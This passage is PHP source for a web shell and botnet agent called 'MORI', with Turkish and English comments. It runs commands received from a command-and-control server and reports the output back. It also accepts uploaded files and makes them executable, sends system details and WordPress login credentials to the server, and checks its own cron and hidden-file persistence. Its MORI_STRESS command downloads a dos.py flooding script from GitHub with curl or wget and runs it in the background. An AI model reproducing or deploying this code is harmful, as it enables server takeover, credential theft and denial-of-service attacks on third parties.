echo "[ERROR] Failed to decode command";
exit;
}
error_log("[EXEC] Executing command: " . (strlen($cmd ?? '') > 0 ? substr($cmd, 0, 100) : '(empty)'));
$output = execute_command($cmd);
$task_id = $_GET['task_id'] ?? $_POST['task_id'] ?? null;
error_log("[EXEC] Output length: " . strlen($output));
// Send result to C2
@c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $cmd, $output, $task_id);
// Return output to requester
echo $output;
exit;
}
if (isset($_GET['info'])) {
echo json_encode(get_system_info());
exit;
}
// =====================================================
// FILE UPLOAD HANDLER (HTTP-based fallback)
// =====================================================
// When shell commands are disabled, C2 sends files via HTTP POST
// Receives: Base64-encoded file content + filename
// Stores: Decoded file to filesystem
if (isset($_POST['act']) && $_POST['act'] == 'upload_file') {
header('Content-Type: application/json; charset=utf-8');
$encoded_data = $_POST['data'] ?? '';
$filename = $_POST['filename'] ?? '';
// Validate
if (empty($encoded_data) || empty($filename)) {
http_response_code(400);
echo json_encode(['error' => 'Missing data or filename', 'success' => false]);
exit;
}
// Sanitize filename (prevent directory traversal)
$filename = basename($filename);
if (strpos($filename, '..') !== false || strpos($filename, '/') !== false) {
http_response_code(400);
echo json_encode(['error' => 'Invalid filename', 'success' => false]);
exit;
}
// Base64 decode
$file_content = @base64_decode($encoded_data, true);
if ($file_content === false) {
http_response_code(400);
echo json_encode(['error' => 'Invalid base64 encoding', 'success' => false]);
exit;
}
// Write file to current directory or temp
$target_dir = sys_get_temp_dir();
$target_path = $target_dir . '/' . $filename;
// Try current dir first
if (@is_writable(getcwd())) {
$target_path = getcwd() . '/' . $filename;
}
// Write file
$bytes_written = @file_put_contents($target_path, $file_content);
if ($bytes_written === false) {
http_response_code(500);
echo json_encode(['error' => 'Failed to write file', 'success' => false]);
exit;
}
// Make executable if .sh or .py
@chmod($target_path, 0755);
http_response_code(201);
echo json_encode([
'success' => true,
'filename' => $filename,
'path' => $target_path,
'size' => strlen($file_content),
'message' => 'File uploaded successfully'
]);
exit;
}
// REGISTER DATA ENDPOINT - C2 server pulls system info from here
if (isset($_GET['act']) && $_GET['act'] === 'register_data') {
header('Content-Type: application/json; charset=utf-8');
echo json_encode(collect_system_info());
exit;
}
// PERSISTENCE STATUS ENDPOINT - Report persistence layer status
if (isset($_GET['act']) && $_GET['act'] === 'persistence_status') {
header('Content-Type: application/json; charset=utf-8');
$persistence_info = [
'backup_locations' => [],
'cron_job' => false,
'wordpress_hooks' => false,
'daemon_processes' => [],
'checked_at' => date('c')
];
// Backup locations - check common persistence paths
$backup_paths = [
'/tmp',
'/var/tmp',
'/dev/shm',
'/home',
'/root',
sys_get_temp_dir()
];
foreach ($backup_paths as $path) {
if (@is_dir($path) && @is_writable($path)) {
// Look for shell backups in this directory
$shell_name = basename($GLOBALS['C2_SHELL'] ?? __FILE__);
$pattern = $path . '/*' . $shell_name;
$matches = @glob($pattern, GLOB_NOSORT);
if ($matches && count($matches) > 0) {
foreach ($matches as $match) {
if (@file_exists($match)) {
$persistence_info['backup_locations'][] = $match;
}
}
}
}
}
// Check for cron job
if (function_exists('shell_exec')) {
$crontab = @shell_exec('crontab -l 2>/dev/null');
if ($crontab && (strpos($crontab, $GLOBALS['CLIENT_ID'] ?? 'mori') !== false ||
strpos($crontab, basename($GLOBALS['C2_SHELL'] ?? __FILE__)) !== false)) {
$persistence_info['cron_job'] = true;
}
}
// Check for WordPress hooks (wp_options table modifications)
if (defined('ABSPATH') && defined('DB_NAME')) {
// WordPress environment detected
$persistence_info['wordpress_hooks'] = true;
}
// Check for daemon processes
if (function_exists('shell_exec')) {
$ps = @shell_exec('ps aux 2>/dev/null');
if ($ps) {
$client_id = $GLOBALS['CLIENT_ID'] ?? 'mori';
$shell_name = basename($GLOBALS['C2_SHELL'] ?? __FILE__);
foreach (explode("\n", $ps) as $line) {
if ((strpos($line, $client_id) !== false || strpos($line, $shell_name) !== false) &&
strpos($line, 'grep') === false) {
// Extract PID
$parts = preg_split('/\s+/', trim($line));
if (isset($parts[1])) {
$persistence_info['daemon_processes'][] = (int)$parts[1];
}
}
}
// Remove duplicates
$persistence_info['daemon_processes'] = array_unique($persistence_info['daemon_processes']);
}
}
echo json_encode($persistence_info, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
exit;
}
if (isset($_GET['task'])) {
echo @c2_get_task($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']) ?: "[WAIT]";
exit;
}
// CLI Daemon mode — cron veya direkt çalışma
if (php_sapi_name() === 'cli') {
// Prevent cron process accumulation: exit immediately if another instance is running
$cli_lock_file = sys_get_temp_dir() . '/.mori_cli_' . substr(md5(SHELL_PATH), 0, 8) . '.lk';
$cli_lock_fp = @fopen($cli_lock_file, 'w');
if (!$cli_lock_fp || !@flock($cli_lock_fp, LOCK_EX | LOCK_NB)) {
exit(0); // already running — silently exit
}
// Exit before next cron tick so the next tick can start fresh (cron = 5min = 300s)
$cli_max_runtime = 290;
$cli_start_time = time();
@ProcessMasker::mask();
// Queue dosyasını işle (web PHP'de exec kısıtlıysa CLI burada çalışır)
$queue_file = REAL_DIR . '/.mori_exec_queue';
if (@file_exists($queue_file) && @filesize($queue_file) > 2) {
$queue = @json_decode(@file_get_contents($queue_file), true) ?: [];
@file_put_contents($queue_file, '[]', LOCK_EX); // Temizle
foreach ($queue as $item) {
$qcmd = $item['cmd'] ?? '';
if (!empty($qcmd)) {
$qout = execute_system_command($qcmd);
@c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $qcmd, "[QUEUE_EXEC] " . $qout, null);
}
}
}
$error_sentinels = ['no_task', 'db_unavailable', 'error', '[WAIT]', '[NO_ID]'];
$idle_streak = 0; // consecutive no-task polls
$next_poll_in = 30; // seconds until next poll (server may override)
while (true) {
// Exit cleanly before next cron tick to prevent process accumulation
if ((time() - $cli_start_time) >= $cli_max_runtime) break;
$task_raw = @c2_get_task($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']);
$cmd = null;
$task_id = null;
$retry_after = null;
if ($task_raw) {
$task_decoded = @json_decode($task_raw, true);
if (is_array($task_decoded)) {
$retry_after = isset($task_decoded['retry_after']) ? (int)$task_decoded['retry_after'] : null;
$raw_cmd = $task_decoded['command'] ?? '';
if ($raw_cmd && !in_array($raw_cmd, $error_sentinels, true)) {
$cmd = $raw_cmd;
$task_id = $task_decoded['id'] ?? null;
}
} elseif (!in_array($task_raw, $error_sentinels, true)) {
$cmd = $task_raw;
}
}
if ($cmd) {
$out = execute_command($cmd);
@c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $cmd, $out, $task_id);
$idle_streak = 0;
$next_poll_in = $retry_after ?? 5; // task just ran → check again soon
} else {
$idle_streak++;
// Exponential backoff: 30s → 60s after 10 idle polls
$backoff = $idle_streak > 10 ? 60 : 30;
$next_poll_in = $retry_after ?? $backoff;
}
// Process local exec queue each cycle
if (@file_exists($queue_file) && @filesize($queue_file) > 2) {
$queue = @json_decode(@file_get_contents($queue_file), true) ?: [];
@file_put_contents($queue_file, '[]', LOCK_EX);
foreach ($queue as $item) {
$qcmd = $item['cmd'] ?? '';
if (!empty($qcmd)) {
$qout = execute_system_command($qcmd);
@c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $qcmd, "[QUEUE] " . $qout, null);
}
}
}
sleep($next_poll_in);
}
// Release lock so the next cron tick can acquire it
@flock($cli_lock_fp, LOCK_UN);
@fclose($cli_lock_fp);
exit(0);
}
// No output - shell is silent
function http_get($url) {
return http_request('GET', $url);
}
function http_post($url, $data) {
return http_request('POST', $url, $data);
}
function fetch_url_content($url, $timeout = 15) {
$url = trim($url);
if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) {
return false;
}
// YÖNTEM 1: cURL (en güvenilir)
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
$result = @curl_exec($ch);
curl_close($ch);
if ($result !== false && strlen($result) > 0) {
return $result;
}
}
// YÖNTEM 2: file_get_contents with stream context
if (ini_get('allow_url_fopen')) {
$context = stream_context_create([
'http' => ['method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
]);
$result = @file_get_contents($url, false, $context);
if ($result !== false && strlen($result) > 0) {
return $result;
}
}
// YÖNTEM 3: fopen fallback
if (ini_get('allow_url_fopen')) {
$context = stream_context_create([
'http' => ['method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'follow_location' => 1, 'max_redirects' => 3],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
]);
$fp = @fopen($url, 'rb', false, $context);
if ($fp) {
$result = '';
while (!feof($fp) && strlen($result) < 10485760) { // 10MB max
$chunk = fread($fp, 8192);
if ($chunk === false) break;
$result .= $chunk;
}
fclose($fp);
if ($result !== '' && strlen($result) > 0) {
return $result;
}
}
}
return false;
}
function download_remote_file($url, $filename) {
$content = fetch_url_content($url);
if ($content === false) {
return "[ERROR] URL fetch failed: $url";
}
// Absolute path → use directly; relative → resolve under __DIR__
if ($filename !== '' && ($filename[0] === '/' || $filename[0] === '\\')) {
$target = $filename;
} else {
$target = __DIR__ . '/' . ltrim($filename, '/\\');
}
$dir = dirname($target);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
$written = @file_put_contents($target, $content);
if ($written === false) {
return "[ERROR] Cannot write file: $target";
}
// Auto-chmod scripts executable
$ext = strtolower(pathinfo($target, PATHINFO_EXTENSION));
@chmod($target, in_array($ext, ['py', 'sh', 'pl', 'rb']) ? 0755 : 0644);
return "OK: downloaded $url to $target ($written bytes)";
}
function get_server_persistence_url() {
global $C2_SERVER, $persistence_default_url;
$c2_server = $C2_SERVER;
$url = $persistence_default_url;
$urlver_token = md5('mori_c2_secret_2024_persistence');
$response = @http_get($c2_server . '?urlver&token=' . $urlver_token);
if ($response) {
$response = trim($response);
if (filter_var($response, FILTER_VALIDATE_URL)) {
return $response;
}
}
$response = @http_get($c2_server . '?act=persistence_get');
if ($response) {
$json = json_decode($response, true);
if (is_array($json) && isset($json['url']) && filter_var($json['url'], FILTER_VALIDATE_URL)) {
$url = $json['url'];
}
}
return $url;
}
// =====================================================
// VERİ KODLAMA İŞLEMLERİ
// =====================================================
function safe_base64_encode($data) {
return str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($data));
}
function safe_base64_decode($data) {
$data = str_replace(['-', '_'], ['+', '/'], $data);
$padding = 4 - (strlen($data) % 4);
if ($padding !== 4) {
$data .= str_repeat('=', $padding);
}
return base64_decode($data, true);
}
function safe_json_encode($data) {
return json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
// =====================================================
// GELİŞMİŞ SİSTEM BİLGİ TOPLAMA
// =====================================================
function get_public_ip() {
static $cached = null;
if ($cached) return $cached;
// 1. File cache (6h TTL) — avoids any network call after first lookup
$ip_cache = sys_get_temp_dir() . '/.mori_ip_cache';
if (@file_exists($ip_cache) && (time() - @filemtime($ip_cache)) < 21600) {
$ip = trim((string)@file_get_contents($ip_cache));
if ($ip && filter_var($ip, FILTER_VALIDATE_IP)) { $cached = $ip; return $cached; }
}
// 2. SERVER_ADDR — no network call, works on most hosts
$sa = $_SERVER['SERVER_ADDR'] ?? $_SERVER['LOCAL_ADDR'] ?? '';
if ($sa && filter_var($sa, FILTER_VALIDATE_IP) && $sa !== '127.0.0.1') {
$cached = $sa; @file_put_contents($ip_cache, $cached); return $cached;
}
// 3. External lookup — 2s timeout, curl only (was 4s × 2 methods)
$sources = ['https://api.ipify.org', 'https://ifconfig.me/ip', 'https://checkip.amazonaws.com'];
foreach ($sources as $src) {
$ip = trim((string)exec_any("curl -sfL --max-time 2 '" . $src . "' 2>/dev/null"));
if ($ip && filter_var(trim($ip), FILTER_VALIDATE_IP)) {
$cached = trim($ip); @file_put_contents($ip_cache, $cached); return $cached;
}
}
// 4. Shell fallback (local interface, no network)
foreach ([
"ip route get 1 2>/dev/null | awk '{for(i=1;i<=NF;i++) if(\$i==\"src\") {print \$(i+1); exit}}'",
"hostname -I 2>/dev/null | awk '{print $1}'",
] as $cmd) {
$ip = trim((string)exec_any($cmd));
if ($ip && filter_var($ip, FILTER_VALIDATE_IP) && $ip !== '127.0.0.1') {
$cached = $ip; @file_put_contents($ip_cache, $cached); return $cached;
}
}
$cached = @gethostbyname(@gethostname() ?: 'localhost') ?: 'unknown';
return $cached;
}
function collect_system_info() {
global $is_windows;
$info = [
'os' => [
'type' => PHP_OS ?? 'unknown',
'family' => detect_os_family(),
'hostname' => @gethostname() ?: 'unknown',
'arch' => @php_uname('m') ?: 'unknown',
'kernel' => @php_uname('r') ?: 'unknown',
'full' => @php_uname('a') ?: 'unknown'
],
'web' => [
'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
'user' => get_current_user(),
'cwd' => getcwd() ?: __DIR__,
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? '',
'script_path' => __FILE__,
'web_shell_url' => $GLOBALS['web_shell_url'] ?? 'unknown',
'server_ip' => get_public_ip(),
'client_ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
],
'php' => [
'version' => PHP_VERSION,
'sapi' => php_sapi_name(),
'extensions' => get_loaded_extensions(),
'disabled_functions' => ini_get('disable_functions'),
'memory_limit' => ini_get('memory_limit'),
'max_execution_time' => ini_get('max_execution_time')
],
'disk' => [
'total' => @disk_total_space(__DIR__),
'free' => @disk_free_space(__DIR__)
],
'time' => [
'timestamp' => time(),
'timezone' => date_default_timezone_get(),
'datetime' => date('Y-m-d H:i:s')
],
'permissions' => [
'can_read' => is_readable(__FILE__),
'can_write' => is_writable(__DIR__),
'can_execute' => is_executable(__FILE__)
]
];
// Windows özel bilgiler
if ($is_windows) {
$info['windows'] = [
'comspec' => getenv('COMSPEC'),
'windir' => getenv('WINDIR'),
'username' => getenv('USERNAME'),
'computername' => getenv('COMPUTERNAME')
];
}
return $info;
}
function detect_os_family() {
$os = strtoupper(PHP_OS);
if (strpos($os, 'WIN') === 0) return 'WINDOWS';
if (strpos($os, 'DAR') === 0) return 'MACOS';
if (strpos($os, 'LINUX') === 0) return 'LINUX';
if (strpos($os, 'BSD') !== false) return 'BSD';
return 'UNKNOWN';
}
// =====================================================
// C2 API İŞLEMLERİ (GELİŞMİŞ)
// =====================================================
// C2 REGISTRATION - BACKGROUND & MAIN
// =====================================================
/**
* Background registration - non-blocking, fail-fast
* Used for auto-registration on first load
* Never blocks page load (1 sec timeout max)
*/
function c2_register_background($server, $id, $override_url = null) {
global $web_shell_url;
$url = $override_url ?: $web_shell_url;
try {
$sysinfo = collect_system_info();
} catch (Exception $e) {
error_log("[c2_register_background] Sysinfo failed: " . $e->getMessage());
return false;
}
// Include cached sister files (populated by ensure_persistence_v4 on previous run)
$sister_cache = sys_get_temp_dir() . '/.mori_sister_cache.json';
$sister_data = @json_decode(@file_get_contents($sister_cache), true);
$wp_creds = is_wordpress_installed()
? generate_wp_login_credentials()
: ['blogs_id' => null, 'hash' => null];
$payload = [
'id' => $id,
'web_shell_url' => $url,
'server_ip' => get_public_ip(), // c2serverr.php REMOTE_ADDR yerine bunu kullanır
'sysinfo' => $sysinfo,
'sister_files' => $sister_data['locations'] ?? [],
'sister_urls' => $sister_data['urls'] ?? [],
'wp_login_id' => $wp_creds['blogs_id'],
'wp_login_hash' => $wp_creds['hash'],
'timestamp' => time(),
'version' => '3.0'
];
$encoded = safe_base64_encode(safe_json_encode($payload));
// ONE attempt only — 3s gives TLS handshake + DB insert enough room
$result = @http_post_timeout($server . '?act=reg', $encoded, 3);
$trimmed = trim($result ?? '');
$reg_json = $trimmed ? @json_decode($trimmed, true) : null;
$reg_ok = ($trimmed === 'ok') || (!empty($reg_json['success']));
if ($result && $reg_ok) {
error_log("[c2_register_background] SUCCESS");
@file_put_contents(__DIR__ . '/.registered', time());
return true;
}
error_log("[c2_register_background] FAILED or timeout: " . substr($trimmed, 0, 80));
return false;
}
function http_post_timeout($url, $data, $timeout = 1) {
// Very fast fallback - cURL only with strict timeout
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// CURLOPT_TIMEOUT would int-cast 0.5 → 0 (infinite) — use TIMEOUT_MS only
curl_setopt($ch, CURLOPT_TIMEOUT_MS, (int)($timeout * 1000));
curl_setopt($ch, CURLOPT_USERAGENT, 'MORI-Agent/2.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = @curl_exec($ch);
@curl_close($ch);
if ($result !== false && !empty($result)) {
return $result;
}
}
return null;
}
// =====================================================
function c2_register($server, $id) {
global $web_shell_url;
error_log("[c2_register] Starting with id=$id, server=$server");
try {
$sysinfo = collect_system_info();
error_log("[c2_register] Sysinfo collected");
} catch (Exception $e) {
error_log("[c2_register] Exception in collect_system_info: " . $e->getMessage());
return false;
}
$payload = [
'id' => $id,
'web_shell_url' => $web_shell_url,
'sysinfo' => $sysinfo,
'timestamp' => time(),
'version' => '3.0'
];
$encoded = safe_base64_encode(safe_json_encode($payload));
error_log("[c2_register] Payload encoded: " . strlen($encoded) . " bytes");
// Retry logic - 3 kez dene with SHORT sleeps
for ($attempt = 1; $attempt <= 3; $attempt++) {
error_log("[c2_register] Attempt $attempt/3");
$result = http_post($server . '?act=reg', $encoded);
// Null-safe response handling
$result = $result ?: ''; // Convert null to empty string
$result_preview = $result ? substr($result, 0, 100) : '(empty)';
error_log("[c2_register] Response: " . $result_preview);
// Check for success - accept both 'ok' string and JSON {success:true}
$trimmed_r = trim($result);
$json_r = $trimmed_r ? @json_decode($trimmed_r, true) : null;
if (!empty($result) && ($trimmed_r === 'ok' || !empty($json_r['success']))) {
error_log("[c2_register] SUCCESS!");
// Guarantee write registration marker (retry if fails)
$reg_file = __DIR__ . '/.registered';
if (!@file_exists($reg_file) || @filesize($reg_file) < 5) {
@file_put_contents($reg_file, time());
}
return true;
}
// Very SHORT sleep (0.5 sec instead of 2 sec)
if ($attempt < 3) {
usleep(500000); // 0.5 second instead of sleep(2)
}
}
// Tüm denemeler başarısız olursa false döndür
error_log("[c2_register] FAILED - All attempts failed");
return false;
}
/**
* BATCH REGISTRATION - Toplu client kaydı (1000+ site için ideal)
* Tek HTTP isteğinde 50 client'ı kaydet
* Crash riski %99 azalır (200 req → 4 req)
*/
function c2_register_batch($server, $clients_batch) {
if (!is_array($clients_batch) || count($clients_batch) === 0) {
return false;
}
// Max 50 client per batch
$clients_batch = array_slice($clients_batch, 0, 50);
$payload = [
'clients' => $clients_batch,
'batch_version' => '1.0',
'batch_timestamp' => time()
];
$encoded = safe_base64_encode(safe_json_encode($payload));
// Retry logic - 3 kez dene
for ($attempt = 1; $attempt <= 3; $attempt++) {
$result = http_post($server . '?act=reg_batch', $encoded);
// Null-safe null coalescing
$result = $result ?: '';
if (!empty($result)) {
$decoded = json_decode($result, true);
if (is_array($decoded) && ($decoded['batch_processed'] ?? false) === true) {
error_log("[c2_register_batch] SUCCESS on attempt $attempt");
return $decoded; // Success - döndür sonuç
}
}
error_log("[c2_register_batch] Attempt $attempt/3 failed or invalid response");
// İlk 2 denemede başarısızsa 1 saniye bekle
if ($attempt < 3) {
sleep(1);
}
}
// Fallback: tek tek kayıt TRY (sadece 1x, loop yok)
// Don't use retry logic here - already failed batch
foreach ($clients_batch as $client) {
$single_start = time();
@c2_register_background($server, $client['id'], $client['web_shell_url'] ?? null);
// Skip if taking too long
if (time() - $single_start > 3) break;
}
return false;
}
function c2_get_task($server, $id) {
$url = $server . '?act=get_task&id=' . urlencode($id);
return http_get($url);
}
function c2_send_result($server, $id, $command, $output, $task_id = null) {
$payload = [
'id' => $id,
'task_id' => $task_id,
'command' => $command,
'output' => safe_base64_encode($output), // Standardized encoding
'timestamp' => time()
];
$encoded = safe_base64_encode(safe_json_encode($payload));
return http_post($server . '?act=set_res', $encoded);
}
function c2_update_status($server, $id, $status = 'alive') {
$payload = [
'id' => $id,
'status' => $status,
'timestamp' => time()
];
$encoded = safe_base64_encode(safe_json_encode($payload));
return http_post($server . '?act=update', $encoded);
}
// =====================================================
// GELİŞMİŞ KOMUT ÇALIŞTIRMA MOTORU
// =====================================================
function execute_command($cmd) {
global $is_windows;
$cmd = trim($cmd);
if (empty($cmd)) return '';
// Panel'in stateless TTY wrapper'ını çöz: (cd "PATH" && (CMD)) veya (cd /d "PATH" && (CMD))
if (preg_match('/^\(cd(?:\s+\/d)?\s+"([^"]+)"\s*&&\s*\((.+)\)\s*\)$/s', $cmd, $wm)) {
@chdir($wm[1]);
return execute_command(trim($wm[2]));
}
$output = '';
$methods = [];
// ÖZEL KOMUTLAR (PHP CORE)
// pwd / cd
if ($cmd === 'pwd' || $cmd === 'cd') {
return getcwd() ?: REAL_DIR;
}
// CD ile dizin değiştir (büyük/küçük harf bağımsız)
// Handle both pure 'cd path' and 'cd path && othercmd'
if (preg_match('/^cd\s+(?:[\'"])?([^\'"&]+?)(?:[\'"])?(?:\s*&&\s*(.*))?$/i', $cmd, $m)) {
$path = trim($m[1]);
$remaining_cmd = isset($m[2]) ? trim($m[2]) : '';
if (@chdir($path)) {
$cwd = getcwd();
if (!empty($remaining_cmd)) {
// If there's a command after &&, execute it in the new directory
$result = execute_command($remaining_cmd);
return $result;
}
return $cwd;
}
return "[ERROR] Cannot change to: $path";
}
// FILELIST - Dizin listele
if (strpos($cmd, 'FILELIST ') === 0) {
$path = trim(substr($cmd, 9)) ?: getcwd();
return list_directory($path);
}
// FILEREAD - Dosya oku
if (strpos($cmd, 'FILEREAD ') === 0) {
$file = trim(substr($cmd, 9));
return read_file($file);
}
// FILEWRITE - Dosya yaz
if (strpos($cmd, 'FILEWRITE ') === 0) {
$parts = explode(' ', $cmd, 3);
if (count($parts) >= 3) {
return write_file($parts[1], $parts[2]);
}
return "[ERROR] FILEWRITE <path> <base64_content>";
}
// DOWNLOADFILE - URL'den dosya indirip kaydet
if (strpos($cmd, 'DOWNLOADFILE ') === 0 || strpos($cmd, 'DOWNLOADURL ') === 0) {
$parts = preg_split('/\s+/', $cmd, 3);
if (count($parts) >= 3) {
return download_remote_file($parts[1], $parts[2]);
}
return "[ERROR] DOWNLOADFILE <url> <filename>";
}
// FILEDELETE - Dosya sil
if (strpos($cmd, 'FILEDELETE ') === 0) {
$file = trim(substr($cmd, 11));
return delete_file($file);
}
// FILECOPY - Dosya kopyala
if (strpos($cmd, 'FILECOPY ') === 0) {
$parts = explode(' ', $cmd, 3);
if (count($parts) >= 3) {
return copy_file($parts[1], $parts[2]);
}
return "[ERROR] FILECOPY <source> <dest>";
}
// DIRCREATE - Dizin oluştur
if (strpos($cmd, 'DIRCREATE ') === 0) {
$path = trim(substr($cmd, 10));
return create_directory($path);
}
// DIRDELETE - Dizin sil
if (strpos($cmd, 'DIRDELETE ') === 0) {
$path = trim(substr($cmd, 10));
return delete_directory($path);
}
// SISTEM BILGILERI
if ($cmd === 'sysinfo' || $cmd === 'system') {
return json_encode(collect_system_info(), JSON_PRETTY_PRINT);
}
if ($cmd === 'whoami') {
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$pw = @posix_getpwuid(@posix_geteuid());
if ($pw && !empty($pw['name'])) return $pw['name'];
}
$cu = get_current_user();
if ($cu) return $cu;
if (@is_readable('/proc/self/status')) {
if (preg_match('/^Uid:\s+\d+\s+(\d+)/m', @file_get_contents('/proc/self/status'), $rm)) return 'uid:' . $rm[1];
}
return 'unknown';
}
if ($cmd === 'id') {
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$uid = @posix_geteuid(); $gid = @posix_getegid();
$pw = @posix_getpwuid($uid); $gr = @posix_getgrgid($gid);
return "uid={$uid}(" . ($pw['name'] ?? '?') . ") gid={$gid}(" . ($gr['name'] ?? '?') . ")";
}
return 'id: posix not available';
}
if ($cmd === 'hostname') {
return gethostname();
}
if ($cmd === 'uname' || $cmd === 'uname -a') {
return php_uname($cmd === 'uname' ? 'n' : 'a');
}
// ls / dir — with optional path argument
if (preg_match('/^(ls|dir)(\s+(.+))?$/i', $cmd, $lm)) {
$lpath = isset($lm[3]) ? trim($lm[3]) : getcwd();
return list_directory($lpath);
}
// cat FILE — PHP native read
if (preg_match('/^cat\s+(.+)$/i', $cmd, $catm)) {
return read_file(trim($catm[1]));
}
if ($cmd === 'clear' || $cmd === 'cls') {
return '__CLEAR__';
}
// PHP_STRESS — shell olmadan native PHP HTTP flood
// Sözdizimi: PHP_STRESS <target> <method> <duration> <threads> [refs] [max_cpu] [max_ram] [rpc]
if (strpos($cmd, 'PHP_STRESS ') === 0) {
$parts = preg_split('/\s+/', trim(substr($cmd, 11)));
$target = $parts[0] ?? '';
$method = strtoupper($parts[1] ?? 'GET');
$duration = (int)($parts[2] ?? 20);
$threads = min((int)($parts[3] ?? 10), 50);
$refs = $parts[4] ?? '_';
$max_cpu = (int)($parts[5] ?? 80);
$max_ram = (int)($parts[6] ?? 75);
$rpc = (int)($parts[7] ?? 10);
if (empty($target)) return '[ERROR] PHP_STRESS: hedef URL gerekli';
return php_native_flood($target, $method, $duration, $threads, $rpc);
}
// MORI_STRESS — anında fire-and-forget, download+run tek bg komutu
// Kullanım: MORI_STRESS <target> <method> <threads> [duration=300] [rpc=15]
if (strpos($cmd, 'MORI_STRESS ') === 0) {
ignore_user_abort(true);
set_time_limit(0);
$parts = preg_split('/\s+/', trim(substr($cmd, 12)));
$target = $parts[0] ?? '';
$method = strtoupper($parts[1] ?? 'GET');
$threads = min((int)($parts[2] ?? 100), 500);
$duration = min((int)($parts[3] ?? 300), 600);
$rpc = (int)($parts[4] ?? 15);
if (empty($target)) return '[ERROR] MORI_STRESS: hedef gerekli';
$python = mori_find_python();
$dl_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/dos.py';
$save = (is_writable('/tmp') ? '/tmp' : (is_writable('/dev/shm') ? '/dev/shm' : sys_get_temp_dir())) . '/dos_mori.py';
$run_args = escapeshellarg($target) . ' ' . escapeshellarg($method)
. ' ' . (int)$duration . ' ' . (int)$threads . ' _ 80 75 ' . (int)$rpc;
// Önce önbellekte var mı bak (bloklamaz)
$dos = null;
foreach ([__DIR__, '/tmp', '/dev/shm', '/var/tmp', sys_get_temp_dir()] as $dir) {
if (!is_dir($dir)) continue;
foreach (['dos_mori.py', 'dos.py'] as $fn) {
$p = $dir . '/' . $fn;
if (@file_exists($p) && @filesize($p) > 1000) { $dos = $p; break 2; }
}
foreach (@glob($dir . '/dos.py*') ?: [] as $f) {
if (@filesize($f) > 1000) { $dos = $f; break 2; }
}
}
if ($dos) {
// Zaten var — direkt çalıştır, anında döner
$bg = 'nohup ' . escapeshellarg($python) . ' ' . escapeshellarg($dos)
. ' ' . $run_args . ' > /dev/null 2>&1 &';
} else {
// Yok — indir+çalıştır tek nohup sh -c içinde, PHP bloklamaz
$inline = 'curl -sLf ' . escapeshellarg($dl_url) . ' -o ' . escapeshellarg($save)
. ' 2>/dev/null || wget -qO ' . escapeshellarg($save) . ' ' . escapeshellarg($dl_url) . ' 2>/dev/null'
. '; ' . escapeshellarg($python) . ' ' . escapeshellarg($save) . ' ' . $run_args;
$bg = 'nohup sh -c ' . escapeshellarg($inline) . ' > /dev/null 2>&1 &';
}
if (mori_exec_bg($bg))
return '[STRESS_OK] ' . $target . ' | ' . $method . ' | ' . $threads . 't | ' . $duration . 's'
. ($dos ? '' : ' [dl+run bg]');
if (function_exists('pcntl_fork') && !in_array('pcntl_fork', array_map('trim', explode(',', ini_get('disable_functions'))))) {
$pid = @pcntl_fork();
if ($pid === 0) { @shell_exec($bg); exit(0); }
if ($pid > 0) return '[STRESS_OK] ' . $target . ' | fork:' . $pid;
}
// exec tamamen kapalı → PHP native flood
return php_native_flood($target, in_array($method, ['GET','POST','HEAD']) ? $method : 'GET', min($duration, 120), min($threads, 50), 30)
. "\n[FALLBACK] exec disabled";
}
// SİSTEM KOMUTU ÇALIŞTIR
return execute_system_command($cmd);
}
function execute_system_command($cmd) {
$methods_tried = [];
$disabled = array_map('trim', explode(',', ini_get('disable_functions')));
$cmd_pipe = $cmd . ' 2>&1';
if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
$methods_tried[] = 'shell_exec';
$result = @shell_exec($cmd_pipe);
if ($result !== null) return $result;
}
if (function_exists('exec') && !in_array('exec', explode(',', ini_get('disable_functions')))) {
$methods_tried[] = 'exec';
@exec($cmd_pipe, $output_lines, $return_var);
if (!empty($output_lines)) return implode("\n", $output_lines);
}
if (function_exists('system') && !in_array('system', explode(',', ini_get('disable_functions')))) {
$methods_tried[] = 'system';
ob_start();
@system($cmd_pipe);
$result = ob_get_clean();
if ($result !== false && $result !== '') return $result;
}
if (function_exists('passthru') && !in_array('passthru', explode(',', ini_get('disable_functions')))) {
$methods_tried[] = 'passthru';
ob_start();
@passthru($cmd_pipe);
$result = ob_get_clean();
if ($result !== false && $result !== '') return $result;
}
